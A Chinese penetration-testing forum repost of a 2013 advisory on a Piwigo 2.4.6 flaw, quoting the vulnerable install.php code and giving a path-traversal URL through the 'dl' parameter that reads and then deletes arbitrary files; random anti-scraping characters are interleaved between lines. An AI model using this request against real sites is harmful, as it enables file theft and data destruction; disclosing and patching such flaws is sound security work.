中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
5 m6 |6 [7 ?% l5 q/ i
1 f& M+ w% w- Y8 b7 Z" \: ]1 t
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
# k8 Q" X3 b* ?
====================================================================
5 f) d: z. _9 f: v% @# y. k! s
/install.php:
7 C3 c' z* \4 T9 ]" j+ z: i
-------------
; `* Y$ E Z6 N1 {0 X$ y
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
; w( n1 Q2 z( T4 x, ~9 W
114: {
5 d6 g* J: R& E1 q6 R" ^
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
) N; k4 L8 E8 @3 z a
116: header('Cache-Control: no-cache, must-revalidate');
+ x( W( _" l5 z9 C. C
117: header('Pragma: no-cache');
% F d0 [1 g1 J# t9 @
118: header('Content-Disposition: attachment; filename="database.inc.php"');
+ j- w c- F' I1 p# C2 |
119: header('Content-Transfer-Encoding: binary');
$ Q1 n6 m8 w) ~- p. N
120: header('Content-Length: '.filesize($filename));
2 \1 G5 q$ D) b: Z6 P# f P
121: echo file_get_contents($filename);
! D/ N! _' D+ O/ l& T8 v2 E/ s6 r/ M1 S
122: unlink($filename);
4 J3 C; e" I3 g$ t' \8 H0 {
123: exit();
! t: M& p T( v" B
124: }
3 Z# T3 l8 ]# X9 O' P( l, o9 e
====================================================================
) v( I+ P, a2 L" V5 j: Z
P8 G4 X$ a) ^7 k
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
1 x, i5 W0 Z' Q9 K. a$ m, u: V
Apache 2.4.2 (Win32)
* e/ ^, G9 V7 h
PHP 5.4.4
+ [' {1 C0 _' W2 w" u3 B
MySQL 5.5.25a
$ X# N1 I6 R4 _: R/ b1 W& G
5 j; [4 X$ v! N" ~% U- H
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
, f/ B: s8 O% t* M
@zeroscience
7 D( R8 n" m% H1 z1 q; G- D
' ]. V# [. F7 `- \& p) ~# i3 q F
Advisory ID: ZSL-2013-5127
. o4 I$ \, ]6 [/ z
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
6 B( P! g& g" }+ H% ?( O1 y. ~
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
# p! w/ ?7 e% |* E, E
( u) |0 [) R. e( h0 O2 b' p( h
15.02.2013
& W# s* V4 n( f' k0 u- _$ W
9 `; ]0 |- W& h4 p
--
8 ? ?# E/ [* b$ o& q
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
+ R1 [) h- l4 F: b0 `# c5 I' }$ z
. r4 h8 _) |/ F7 E/ c
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2